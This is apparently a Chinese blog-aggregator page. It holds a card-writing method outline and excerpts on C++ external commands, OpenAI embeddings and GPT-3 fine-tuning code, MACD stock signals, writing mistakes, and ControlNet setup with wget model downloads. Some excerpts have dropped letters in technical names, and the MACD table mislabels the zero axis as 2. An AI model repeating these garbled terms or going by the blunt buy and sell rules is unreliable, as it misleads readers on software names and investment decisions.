卡片创作不仅仅是一种记录和整理知识的方式，它还涉及到我们对认知过程和思维模式的理解。在卡片认知层级中，你需要探索组块原理、层级结构、线性创作等概念，掌握卡片认知的原理和模式，从而更加有效地进行卡片创作，提升创作的品质和影响力。
关键词：组块原理、层级结构、线性创作、符号学、网络科学、复杂系统科学、涌现、直觉、文气、有限理性、逆向工程、写作耳感、古典风格、鲜活证据、心流、元认知、内在驱动、刻意练习、认知卸载、认知神经科学
更多见《卡片创作的技法》书单、《笨方法小报》 https://www.douban.com/doulist/45064751/ https://xiaobot.net/p/hardwaylab
3.卡片实践：流程与创作
卡片创作并不仅仅是理论上的概念，它需要实践来探索优化各种流程和创作方法，接下来是我卡片创作7年来，写过10000张纸质卡片，得出的卡片创作最佳实践。有了这些实践经验，你可以更好地进行卡片创作，提升创作效率和质量，同时不断探索卡片创作的边界和可能性。
关键词：日课一卡、10000张纸质卡片、卡片定义18条、卡片创作误区18条、卡片创作10原则、卡片实践10原则，卡片断舍离、丰田生产方式、快写慢改、精益卡片、卡片冲刺、深度写作、写作清单、卡片拼接、卡片线、线性创作、万卡归一、写作冲刺、卡片仓库、 卡片系统、
更多见《笨方法学写作》 课程 https://t.zsxq.com/f2rnAqj
4.卡片驱动：行为与改变
卡片创作不仅仅帮你更好地记录和整理信息，更有助于更清晰地认识自己的思考和行为模式，进而对自己的行为进行调整和改变，形成自己的价值观和原则，塑造自己的身份组合，并帮助你建立更好的工作和生活习惯，提升自己的创造力和思考能力。
关键词：内在动机、可能自我、自我决定、身份组合、生产习惯、黑客精神、知行合一、行动意向、六经注我、文档驱动、成长型心智、反脆弱、消除浪费、生产标准、深度写作、创新算法、认知偏差、无限游戏、行动科学、第二序改变
更多见《笨方法学写作》 博客 https://www.cnfeat.com/archive/
5.卡片产品：人生与世界
通过卡片创作，你可以将个人项目、挑战和机遇有机地结合在一起，为自己的人生和世界贡献出独特的价值和见解。无论是思考、表达、创新还是成长，卡片产品都可以成为你的有力助手和引导者。
关键词：个人项目、不解难题、本分、个人战略、健康长久、有所逼有所激、中观清单、年度关键词、致股东信、给孩子的信、诗歌创作、产品设计、个人基建、笨方法文化、孙子兵法、不为清单、写作风格、实验室思维、产品货架、大问题清单
更多见《笨方法文化手册》 https://www.yuque.com/hardwaylab/book
- 博客 二丫讲梵 2023-05-27 06:52:36如要阅读全文，点击标题跳转。一路走来，我也算是一个数码爱好者，虽然不像上学时因为穷爱而不得的那种狂热，但也仍旧对高性能，高品质的产品有相当的追求。本文将记录我在2022年度买过的还不错的电子产品。
- 博客 轶哥博客 2023-05-27 00:20:32<>在本文中，我将向大家介绍如何在Widow平台上使用C++执行外部命令。我们将探讨两种不同的方法，并对它们进行比较和描述。当我们需要在程序中集成其他应用程序或运行脚本时，这两种方法都非常有用。<>在详细讲解这两种方法之前，让我们先了解为什么我们需要在C++程序中执行外部命令。有时，我们需要与其他进程进行交互，例如运行一个脚本、启动一个新进程或收集系统信息。在这些情况下，执行外部命令可以帮助我们轻松地完成这些任务。<>现在让我们开始深入了解这两种方法。
- 博客 二丫讲梵 2023-05-26 22:20:38如要阅读全文，点击标题跳转。公司内部安卓与 iOS 打包是通过内部的一台 Mac mini 主机上部署的 Jenkins 完成的，一切都看起来非常优雅且自如。我也正在忙自己的事情，突然一个开发小哥找过来，说发布过程有问题了，其中有一个步骤是在 Jenkins 中打完包之后，将包通过 scp 传到一台 centos 服务器上，从而提供给开发者进行下载。现在出现的问题是，scp 的时候让输入密码了。
- 博客 二丫讲梵 2023-05-26 17:37:27如要阅读全文，点击标题跳转。学习周刊-总第108期-强大的发短信go库与开源的轻量级gitlab和一个Sql审核平台
- 博客 MiaoTony's Blog 2023-05-25 21:20:00720
- 博客 轶哥博客 2023-05-25 17:13:13<>测试覆盖率是衡量软件测试质量的一个重要指标，它表示在运行测试用例时，被执行到的代码占总代码数的百分比。通过测试覆盖率，我们可以评估测试集对源码的覆盖程度及潜在漏洞。<>本文将介绍两种使用LLVM实现C++测试覆盖率的方法：
- 方案1 使用lcov和llvm-cov将gcda文件转换为lcov.ifo文件。
- 方案2 使用grcov。
- 博客 LoRexxar's Blog 2023-05-25 15:04:28
在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。
1、ChatGPT只能处理文字
2、无论是上下文参考，还是单条对话都有token限制
所以在ChatGPT中，很多应用方向遇到的第一个问题就是如何把问题用文字的方式描述出来，其中最典型的场景就是代码分析。
所以ChatGPT也鼓励使用Embeddings来做类似搜索、分类或者异常检测的分析，这篇文章就讲讲这个。
Embeddings
Embeddings是拓扑学中的一个概念，这个词被普遍提出来是在深度学习领域。抛开复杂的理论不谈，简单来说就是通过数学的方式把一个内容给向量化，用一些非常复杂的向量来代替内容本身。这是一种试图通过数学理论解读问题的方案。
这里我拿一个特别简单的例子来解释一下Embeddings。这里这个例子参考了一个知乎的帖子。
假设我们需要招聘一个程序员，那么我们可以把招聘需求抽象成5个维度，比如会python，写过项目，名校学历，带过团队，性格特点，在5个维度的基础上，我们可以把候选人的能力抽象为数字。
比如说[1,1,0,0,1]，当然用0和1是精度比较低的，你可以用0.几来替代每个向量中对预期的符合度。在这个5维的向量标准下，我们可以把多个候选人的简历抽象为多个5维向量组，并且通过对多个5维向量组做一定的数学计算，这样就可以得出最合适的候选人。
当然，这只是一个简单的例子。在深度学习的领域，Embeddings的计算还涉及到核函数的优化过程。对于使用者来说，我们不需要刨开黑盒讨论这些。
在ChatGPT中，openai提供了官方的计算Embeddings的API，当然这是收费的。
通过openai的api，我们就可以把信息转化为Embeddings向量。在Openai的文档中，我们可以看到每个模型的核方案对应的要求以及价格。
其中 text-embedding-ada-002这个模型整体表现最好而且还便宜，更适用于Embeddings。
举个栗子
这里我们还是拿上篇文章的例子来聊，拿我的博客内容来进一步处理。在上篇文章中我们准备数据集的时候就遇到了几个问题。
1、博客内容普遍超过2000token，并且更普遍的是，文章内容中有大量的代码，甚至图片内容
2、可能是由于博客内容分割严重，也可能是由于GPT3本身的学习能力有限，学习的结果很差。
这种情况下，我们就可以尝试用Embeddings把内容向量化，再做进一步的处理。
我们通过把文章本身向量化，然后再把问题向量化，在对比两部分的余弦相似度，最终返回相似度最高的文章。
当然，对比文章相似度这种信息颗粒度还是太低了，理论上来说，你可以选择把文章按照自然段划分并分别处理，当然如何关联多个自然段也是一个问题。
这里我用一个比较简单的例子，把文章按照#划分自然段，然后标上标题，并通过openai的api来计算embeddings.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31import pandas as pd
import tiktoken
import codecs
import re
from openai.embeddings_utils import get_embedding
embedding_model = "text-embedding-ada-002"
embedding_encoding = "cl100k_base"
max_tokens = 8000
file = "chatgpt1.md"
f = codecs.open(file, 'r', encoding='utf-8', errors='ignore')
text = f.read()
m1 = re.search(r'title: (.+)\n', text)
title = m1.group(1)
matchs = re.findall(r'\#+[^\#]*', text) # 匹配标题和内容
for match in matchs:
m2 = re.search(r'\#+.*', match)
t2 = m2.group(0)
r = "Title: {} - {}\nContent:{}".format(title, t2, match)
# print(r)
em = get_embedding(r, engine=embedding_model)
print(em)运行就可以查看到结果
然后我们在这个基础上对上述的向量化数据存档，然后一一对比相似度。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50import pandas as pd
import tiktoken
import codecs
import re
from openai.embeddings_utils import get_embedding, cosine_similarity
embedding_model = "text-embedding-ada-002"
embedding_encoding = "cl100k_base"
max_tokens = 8000
textlist = []
search_text = "ip被封了怎么办？"
file = "chatgpt1.md"
f = codecs.open(file, 'r', encoding='utf-8', errors='ignore')
text = f.read()
m1 = re.search(r'title: (.+)\n', text)
title = m1.group(1)
matchs = re.findall(r'\#+[^\#]*', text) # 匹配标题和内容
for match in matchs:
m2 = re.search(r'\#+.*', match)
t2 = m2.group(0)
r = "Title: {} - {}\nContent:{}".format(title, t2, match)
# print(r)
em = get_embedding(r, engine=embedding_model)
search_embedding = get_embedding(
search_text,
engine="text-embedding-ada-002"
)
similarity = cosine_similarity(em, search_embedding)
c = {
"content": r,
"similarity": similarity
}
textlist.append(c)
sorted_list = sorted(textlist, key=lambda k: k['similarity'])
print(sorted_list[-1])通过这段代码我们在文章中搜索和”ip被封了怎么办？”这个问题相似度最高的段落，最终我们得到答案。
关于Embeddings
其实说了这么多Embeddings的各种信息，仔细想想，Embeddings是一种把问题抽象化成数学问题的一种手段。其实近几年很多圈子都流行过用数学解决问题，就比如早几年区块链流行用形式化验证做代码分析，大数据流行用相似性验证来做搜索。
但他们大多都遇到了一个类似的问题，就是当你试图用数学抽象问题，会不可避免的让问题本身变得跑偏。如果说原本的程序设计是为了解决问题而不断优化。当你换数学方案来解决问题的后，问题就变成了，如何用数学更准确的描述问题。
Embeddings就是一个很典型的例子，这只是一个比较泛的概念，具体Embeddings的技术方案有很多，无论是基本的热独编码到 PCA 降维，从 Word2Vec 到 Item2Vec，从矩阵分解到基于深度学习的协同过滤。每种概念以及技术方案，都是为了更准确的找到描述问题的维度，更准确计算。
也正是因此，Embeddings虽然是大数据乃至AICG中非常关键的技术之一，但在ChatGPT这个场景中，Embeddings应用的主要作用就是节省tokens。但显然，Embeddings虽然被广泛应用于信息分类和聚合，但在代码分析的场景，Embeddings的表现并不好，在后面的文章中会讲到这些。
- 博客 forecho 的独立博客 2023-05-25 10:49:00
引言
MACD 也是股票技术分析中最常用的技术指标之一，经常被用来判断股票的趋势的转向。这篇文章主要介绍 MACD 指标的计算方法和使用方法。
什么是 MACD 指标
基础概念
MACD 是指数平滑异同移动平均线 (Moving Average Convergence Divergence) 的缩写，简称「指数平滑异同移动平均线」，代表一种趋势跟踪的动量指标。MACD 通常由 4 部分组成：
- DIF 值（快线）：快线（短期指数平滑移动平均线）与慢线（长期指数平滑移动平均线）的差值。一般是 MA12 - MA26。
- DEA 值（慢线）：DIF 的 9 日指数平滑移动平均线。
- MACD 柱（动能）：DIF 与 DEA 之间的差值，柱状图。一般是 DIF - DEA。
- 值是正数，表示快线在慢线之上，市场处于上涨趋势；
- 值是负数，表示快线在慢线之下，市场处于下跌趋势。
- 0 轴：多空分界线，MACD 柱在 0 轴之上，表示多头市场；MACD 柱在 0 轴之下，表示空头市场。
黄金交叉和死亡交叉
- 黄金交叉：
- DIF 线上穿 DEA 线，表示股票处于上涨趋势，是买入信号。
- MACD 柱由负数变成正数，表示股票处于上涨趋势，是买入信号。
- 死亡交叉：
- DIF 线下穿 DEA 线，表示股票处于下跌趋势，是卖出信号。
- MACD 柱由正数变成负数，表示股票处于下跌趋势，是卖出信号。
如何使用 MACD 指标
MACD 指标比较适合做中长线操作。
买入点的判断
- 如果你做长线：MACD 柱是正数，且 DIF 线和 DEA 线都在 0 轴之上，表示是买入信号；
- 如果你做短中线：DIF 线和 DEA 线都在 0 轴之上，MACD 柱绿线缩短的时候就可以找买点了。
卖出点的判断
- 如果你做长线，DIF 线和 DEA 线一直在 0 轴之上，表示股票处于上涨趋势，可以继续持有；如果 DIF 线和 DEA 线都在 0 轴之下，表示股票处于下跌趋势，可以考虑卖出。
- 如果你做短中线，MACD 柱如果变成负数，即变成绿色，表示股票处于下跌趋势，可以考虑卖出。
总结：
趋势 多头 空头 快、慢线 两线在 2 轴之上做多不做空 两线在 2 轴之下做空不做多 红、绿柱 红柱缩短表示回调，绿柱缩短表示上涨 红柱缩短表示下跌，绿柱缩短表示反弹 示例
- 上涨趋势确认
- 下跌趋势确认
避免失误
- MACD 指标是长线趋势的参考，不适合短线操作！！
- MACD 指标的黄金交叉和死亡交叉是落后的指标，不能做短线进入的依据。
- MACD 指标必须配合多头趋势或者空头趋势一起来判断。
MACD 背离
MACD 背离是指股价与 MACD 指标之间的背离，即股价与 MACD 指标的走势方向不一致。
这两种情况要注意了：
- 股价上涨，MACD 红柱缩短，动能减弱，股价可能会下跌
- 股价新高，MACD 红柱不是新高，动能减弱，股价可能会下跌
出现背离的情况，代表趋势即将改变。
总结
- MACD 指标是一种趋势跟踪的动量指标，适合做中长线操作。
- MACD 指标的黄金交叉和死亡交叉是落后的指标，不能做短线进入的依据。
- MACD 指标必须配合多头趋势或者空头趋势一起来判断。
- MACD 背离是指股价与 MACD 指标之间的背离，即股价与 MACD 指标的走势方向不一致，出现背离的情况，代表趋势即将改变。
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2023-05-25 07:32:29今年从 1 月就一直没什么好看的作品，到了 4 月突然爆发，让我非常激动。现在播出过半了，是时候好好说说感受了 以下当然不能囊括 4 月所有的好作品，因为实在太多了，只是说一说符合我口味的几部，按我个人的喜爱程度来排序 以下会包含大量剧透，还没看的小伙伴请酌情观看 鬼灭之刃刀匠…
- 博客 笨方法学写作 2023-05-24 08:00:00
在我七年的写作经历中，我犯过许多错误。这些错误让我付出了不少代价，但同时也使我成为更好的写作者。
以下是我在写作过程中所犯过的七大错误，希望能给正在努力提升写作技巧的人们参考——
1. 缺乏明确写作目标
在写作早期，我习惯随意写下自己的想法，结果导致文章缺乏重点和连贯。后来我意识到，一个清晰的写作目标可以帮助我更好地组织思维，生产合适的内容，并使文章更聚焦更主题化。经过一段时间的调整，我的开始主题写作更新，陆续产出了《笨方法文化手册》、《个人生产力发展指南》、《笨方法学写作》……
2. 缺乏读者导向
我曾只关注自己的观点和表达，忽视了读者的需求和兴趣，导致文章缺乏共鸣和吸引力。后来，我意识到：写作应该以读者为中心。接着，我开始持续思考我的目标读者是谁，他们对我的文章有什么样的需求和期望。我学会了将读者放在写作的核心位置，关注他们的关注点和感兴趣的话题。
3. 频繁切换写作工具
我总以为好工具和好创作之间存在因果关系，折腾过不少写作工具，包括尝试过多种潮流一时的工具，例如 Evernote 、为知笔记、有道云、Mweb、Mou、Simplenote、苹果备忘录、Day one、Trello、iA Writer……最终主力思考工具回到了最原始最简单的纸质卡片，它让我真正专注于写作本身，我才开始与文字的亲密接触，可以更好地理解和深化想法。
4. 缺乏卡片化思维
刚开始写作时，我没有清晰的结构和组织框架。文章逻辑常常混乱，观点不清晰。习得卡片写作的技法之后，我掌握了文章结构和段落组织的技巧，使我的文章更具条理和连贯性。卡片写作的结构化方法，让我的文章不再杂乱无章，写作质量得到了显着提升，条理更加清晰，读者们也能更轻松地理解我的观点。
5. 过分冗长和啰嗦
我曾经常使用冗长句子、大量修饰词、西化句式，使得文章显得难读且啰嗦。后来，我意识到简洁和清晰才是有效的写作方式。我开始阅读关于写作的书籍，在《风格要素》、《写作风格的意识》中来学习古典风格，在《与李翊书》、《资治通鉴》、《文选》中体会古文运动「陈言务去，文以载道」的魅力，理解简明表达的技巧，学习达成质朴载道、干净脆落、简练精悍、清爽痛快的写作风格。
6. 没有制作写作清单
我曾以为优秀写作者的内心深处流淌着写作的血，然而随着写作的深入，我逐渐认识到，优秀的写作者更需要一份写作检查清单——一份自己建立且持续更新的写作检查清单。它可以帮助我思考语言的运行机理，探索语言科学的应用，并整理出适合自己的文字有效表达方式。
7.没有实践日课一卡
起初，我对写作抱有浓厚的热情，开始每天写一千字，但这种尝试极其容易被外界的干扰和琐事而中断，后来，我开始实践「日课一卡」，即每天至少写一张卡片。「日课一卡」的实践不仅让我坚持下来，培养了自律和专注的能力，也给了我成就感和动力，进而驱使我继续前行。
以上心得体会，希望能够对那些也正在探索写作之路的人们有所启发和帮助，少走弯路，有效提升写作水平。
《日课一卡练习册》：每天一张卡，成长有方法。 内容包括 1、翔实方法： 7年的写作经验与方法，30+篇，共60000+字。 2、模板工具：拿来即用的卡片工具，包括题目、教程、模板等。 3、卡片思维：化繁为简的卡片思维，助力提高创造力。 免费试读地址：https://xiaobot.net/p/onecard
- 博客 MacTalk-池建强的随想录 2023-05-23 13:31:02AI 绘图软件 Midjourney 算是这波 AIGC 浪潮中的佼佼者。最近我 … Continue reading →
- 博客 轶哥博客 2023-05-22 16:54:39<>在本文将探讨如何在Rut项目中自动完成单元测试并执行覆盖率测试。我们将使用
rut-aalyzer插件、配置.vcode/ettig.jo文件以及编写一个Pytho脚本变相实现cargo命令的hook。最终效果按下“Ru Tet”按钮后自动完成单元测试及覆盖率测试，实现搭配Coverage Gutter插件实时显示覆盖率结果。<> - 博客 二丫讲梵 2023-05-21 17:49:01如要阅读全文，点击标题跳转。了解nexus2升级到nexus3之后在仓亏命名规范上的差异。
- 博客 构建我的被动收入 2023-05-21 08:00:00本文分享了笔者与 ChatGPT 结对编程的体验并分享一些 Prompt Engineering 的重要技巧。
- 博客 二丫讲梵 2023-05-19 17:15:57如要阅读全文，点击标题跳转。日志成本控制主要有如下几个维度：- 减量：去掉没有意义的无效日志，只打印关键日志。- 减周期：尽可能减少日志存储的时长。- 转低频：低频相较于标准存储，可降低 6 0%--70%的成本。- 慎开全文索引：全文索引将会把所有日志全部索引一遍，并且这个存储是未压缩的存储，如果开启全文索引，则存储往往会比不开的存储高出 4--10 倍。
- 博客 二丫讲梵 2023-05-19 16:47:20如要阅读全文，点击标题跳转。学习周刊-总第107期-又一个Nginx管理面板与一个适合入门的Vue3管理后台项目
- 博客 LoRexxar's Blog 2023-05-19 16:09:22
在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。但这并不意味着ChatGPT没有能力学习你的回答。
首先ChatGPT一般会根据你和他的问答内容进行一定的上下文参考，其次，由于ChatGPT学习的内容之庞大，你通过一种直白的方式问不到的答案不一定是他不会，有可能是你问的方式不对。
在ChatGPT的官方文档中，他首先鼓励你通过提供多个示例来让ChatGPT更准确的寻找答案，他把这个方案称之为**“few-shot learning.”**
除此之外，当然他也允许你通过微调功能来对ChatGPT进行一定的训练，来获得一个更符合自己要求的ChatGPT，当然，这个功能是收费的。
但Fine-tuning这个功能目前只能应用于GPT3的基础模型，就目前而言，这个功能其实还不如很多市面上的其他大模型，openai并没有给出特别好的自定义方案给大家。但这篇文章还是先聊聊这个。
通过微调ChatGPT训练
准备工作
首先你需要在openai的api基础上操作，所以你需要一个简单的openai环境。
1
pip install --upgrade openai
当然你需要提前配置openai api key，这个key可以在openai的平台后台获得，这里就不多说了。
1
export OPENAI_API_KEY="<OPENAI_API_KEY>"
准备训练数据
首先我们需要准备相应的训练数据，这个数据文件都必须是JSONL文件，每行都是一个提示对，类似于
1
2
3
4{"prompt": "<prompt text>", "completion": "<ideal generated text>"}
{"prompt": "<prompt text>", "completion": "<ideal generated text>"}
{"prompt": "<prompt text>", "completion": "<ideal generated text>"}
...一般来说，你提供的训练示例最好有几百个，训练数据会直接影响到最终模型的质量。
你可以用openai提供的工具来验证和处理。
1
openai tools fine_tunes.prepare_data -f <LOCAL_FILE>
你可以提供CSV, TSV, XLSX, JSON,JSONL格式的训练数据
创建微调模型
在准备好相应的训练数据之后，你可以用opanai的工具来创建微调后的模型。
1
openai api fine_tunes.create -t <TRAIN_FILE_ID_OR_PATH> -m <BASE_MODEL>
当然，这里指定的基础模型只包含GPT3的部分，包括ada, babbage, curie,davinci
当然由于这个功能并不是在本地完成的，在openai的平台中可能会排在几小时之后。你可以随时中断这个任务。并随时恢复进程。
1
openai api fine_tunes.follow -i <YOUR_FINE_TUNE_JOB_ID>
在成功训练完成之后，你会获得相应的模型id。你就可以通过对应的模型id来使用它。
当然你也可以随时删除这些模型。
1
openai api models.delete -i <FINE_TUNED_MODEL>
一些训练范例
我研究了一些相应的训练范例实践，其中还有很多有意思的方案。我挑了一些比较有特点的选出来。
1、否定训练
如果你在和ChatGPT的对话当中，遇到反馈的事实错误，你可以通过否定训练来排除这部分并更正
1
2{"prompt":"testtest", "completion":" yes"}
{"prompt":"test", "completion":" no"}2、情感分析
在ChatGPT的配置中，有个很重要的参数就是情绪值。很显然，ChatGPT的情绪肯定不是空穴来风，这本身是基于数据集训练的结果。
当然，你也可以通过微调来对你数据集标注情绪以此训练
1
2{"prompt":"Overjoyed with the new iPhone! ->", "completion":" positive"}
{"prompt":"@lakers disappoint for a third straight night ->", "completion":" negative"}你可以通过api来获取prompt对应的情绪判断值。
3、分类
如果你想要ChatGPT帮你完成分类的工作，那最好的方案是提供范例并以数字作为标志.
1
2{"prompt":"test", "completion":" 1"}
{"prompt":"1231421", "completion":" 2"}通过数字标志可以帮助ChatGPT更准确的对目标做分类。
4、样本处理与提取
如果你需要用ChatGPT来完成样本提取工作，你可以用一些简单的多行范例来举证。
1
2
3
4{"prompt":
"Portugal will be removed from the UK's green travel list from Tuesday, amid rising coronavirus cases and concern over a \"Nepal mutation of the so-called Indian variant\". It will join the amber list, meaning holidaymakers should not visit and returnees must isolate for 10 days...\n\n###\n\n",
"completion":
" Portugal\nUK\nNepal mutation\nIndian variant END"}理论上来说，你可以提供大量的样本标准文本的提取方案。
5、聊天机器人
如果你需要完成一个聊天机器人的功能，最好的办法是给ChatGPT提供问题以及大量回答样本，这样可以让ChatGPT学习他应该回答的内容。
1
2
3
4{"prompt":"Summary: <summary of the interaction so far>\n\nSpecific information:<for example order details in natural language>\n\n###\n\nCustomer: <message1>\nAgent: <response1>\nCustomer: <message2>\nAgent:",
"completion":" <response2>\n"}
{"prompt":"Summary: <summary of the interaction so far>\n\nSpecific information:<for example order details in natural language>\n\n###\n\nCustomer: <message1>\nAgent: <response1>\nCustomer: <message2>\nAgent: <response2>\nCustomer: <message3>\nAgent:",
"completion":" <response3>\n"}你可以像这个范例中讲的一样，按照问题回答场景来划分提示词。
一个小小的实例
接下来跟着前面的每一步来训练一个自己的ChatGPT，首先我们需要准备一份数据集。这里我选择用我的博客内容来做初步的内容训练。
用一个简单的python3脚本来处理所有的md文件并生成对应的jsonL文件。
这个prompt的范例比较粗暴，不是很靠谱的，只是测试一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33import os
import glob
import re
import json
import codecs
folder_path = 'posts' # 指定文件夹路径
output_file = 'output.jsonl' # 指定输出文件名
md_files = glob.glob(os.path.join(folder_path, '*.md')) # 获取所有的md文件路径
with codecs.open(output_file, 'w', encoding='utf-8') as f:
for file in md_files:
with codecs.open(file, 'r', encoding='utf-8', errors='ignore') as md:
text = md.read()
match = re.search(r'title: (.+)\n', text) # 匹配标题和内容
text = re.sub(r"```.*?```", "", text, flags=re.DOTALL)
if match:
i = 0
max_length = 2000
while len(text) > i*2000:
t = text[i*max_length:i*max_length+max_length]
prompt = match.group(1) + ' Part {}'.format(i+1)
completion = ' ' + t + 'END'
data = {"prompt": prompt, "completion": completion}
json_data = json.dumps(data) + '\n' # 将字典格式化为JSONL格式
f.write(json_data)
i += 1
然后我们用openai来处理一下这部分数据集
他会给你一些修改意见和处理方案，并且会自动处理一下你的数据集。
然后我们在基础的4个GPT-3模型中选取一个作为基础模型，其中**davinci这个模型要相对来说更强大，也更适合进一步培养。但要注意的是，davinci相比之下贵10倍还多**。
1
openai api fine_tunes.create -t .\output_prepared.jsonl -m davinci
要注意这一步是要翻墙的，不然无法上传文件。
等待微调的任务处理完成。如果不小心中断，可以用follow继续
1
openai api fine_tunes.follow -i ft-PcXP6lbEZKDHo3ez8986RWmZ
之后就是等待结果即可，我自己研究了一下发现这个东西有点儿贵的我训练集数据也就400多条，还用了比较便宜的curie模型，结果还花了10刀。
训练完成之后你就可以使用这个模型来交互。但我研究了一下，这个微调后的Chatgpt只能用Complete功能，你可以使用api或者platform来调用这个模型。
但还是那句话，这个方案问题相当之大，一个是GPT3在现在的大模型中是比较菜的，先不说GPT4，连3.5什么时候上线这个功能还遥遥无期，另一方面就现在的内容而言，训练的结果和价格其实不太成正比，一方面微调这个功能很依赖训练的数据有效度，你简单的拿一大堆数据来搞不但很贵还效果不好，你精心准备各种提示词和内容又违背了本身依靠ai来做总结归纳的初心，所以现在市面上更多的基于chatgpt的第三方工具，都是用了一些其他的方案。
基于上下文训练
在前面的文章中，其实有讲到这个关键点，虽然ChatGPT不会学习来自互联网上的任何对话信息，但为了保证对话的流畅性，ChatGPT会记录每个对话session的上下文并在这个基础上对你进行反馈。
所以就衍生了一种相关的方案，通过储存上下文来实现简单的训练，这个东西最大的优势是可以使用现在大模型中最领先的GPT4模型，而问题是，这种方案只能实现特别简单的训练，尤其是不能太多条+长度过长！
很多第三方的ChatGPT和一些浏览器插件其实都实现了类似的功能。这里拿我使用的第三方ChatGPT来看看这个功能。
首先是你可以在对话之前对其预设面具，这个东西可以有很多预设内容。这里我们只假设了一个比较简单的基础设定。当然这只是一个简单的人设面具，你也可以通过特别具体的prompt来作为基础了，这部分内容在前面的文章中讲到过。
我们再回到魔兽的小助手上，我们再提供一下相关的数据。把相关的数据以及条件放在方案预设之中。这里提前准备好相应的数据内容。
通过设置前置上下文，可以在一定程度上影响ChatGPT的功能以及表现，来实现一个简单的自定义ChatGPT。
除此之外，ChatGPT-Next-Web本身也有消息摘要功能，会总结前几条发送的内容摘要。附加到请求中。
要注意的是，这个方案更适用于和ChatGPT本身功能类似的场景，大部分是文字类相关的，主要是设定场景和人设。在一定的限定场景下并控制回复，就比如非常经典的文案辅助、批改作文等等。
但单纯的预制prompt不适用于有大量基础数据的特殊模型，当然，魔高一尺道高一丈。也有不少产品用了一些旁敲的方案。还是拿刚才基于博客文章训练的问答机器人来举例子。
如果单纯的靠文章数据总结或者干脆直接拿博客文章来训练，这份数据集很大而且内容冗杂，直接训练的效果很不好，所以更靠谱的方案是，在ChatGPT前面挂一个数据库。
用户输入问题的时候可以简单的拆解关键词然后从数据库查询结果，然后再作为上下文传到ChatGPT，并由ChatGPT做总结和摘要。
但这种基于上下文的训练方案问题比较多，专业性越强的效果就会越差，内容越多效果也会越差，所以这其实也算是一种临时方案，与实际训练过的效果差很多。
基于其他LLM大模型的训练方案
其实抛开ChatGPT以外，现在市面上还有非常多比较靠谱的LLM大模型，虽然和GPT4都有很大的差距，但能比拟GPT3.5的大模型已经相当多了。
我思来想去，感觉这个问题还比较多，这部分内容我打算专门拆到另一篇文章里再说。
- 博客 小明明s à domicile 2023-05-16 08:24:18
前言
在 ControlNet 出现之前，AI 绘画更像开盲盒，在图像生成前，你永远都不知道它会是一张怎样的图。ControlNet 的出现，真正意义上让 AI 绘画上升到生产力级别。简单来说可以用 ControlNet 精准控制 AI 图像的生成效果。
ControlNet 就是在大型扩散生成模型的基础上，再加上一个结构，使得扩散生成模型能够接受一个新的 “图像输入”。并且对模型的输出起到控制作用，使其与输入图像类似。
在实际的 AI 绘图，用户要解决 2 个关键问题:
- 图像的精准控制。例如确定背景、结构等
- 图像的风格控制。例如确定动作、表情等
无论你使用再准确的提示词再好的微调模型也是无法实现的。而通过 ControlNet 的应用模型，可以让这 2 个问题获得解决。所以不仅是常见的人物画像，在建筑、室内、产品图、平面设计、海报等等领域都可以提高生产力甚至做出设计师难以做出的效果。
安装
需要先安装扩展，点击「Extensions」Tab 下的「Install from URL」子 Tab，然后输入:https://github.com/Mikubill/sd-webui-controlnet，再点击「Install」，在提示安装完成后，点击「Applyand restart UI」按钮重启 UI。
接着需要下载应用模型。我使用了最新的 ControlNet-v1-1-nightly 的模型:
wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11e_sd15_ip2p.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11e_sd15_shuffle.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11e_sd15_tile.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11e_sd15_depth.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11f1e_sd15_tile.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11f1p_sd15_depth.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_canny.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_inpaint.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_lineart.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_mlsd.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_normalbae.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_openpose.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_scribble.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_seg.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/blob/main/control_v11p_sd15_softedge.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/blob/main/control_v11p_sd15s2_lineart_anime.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget 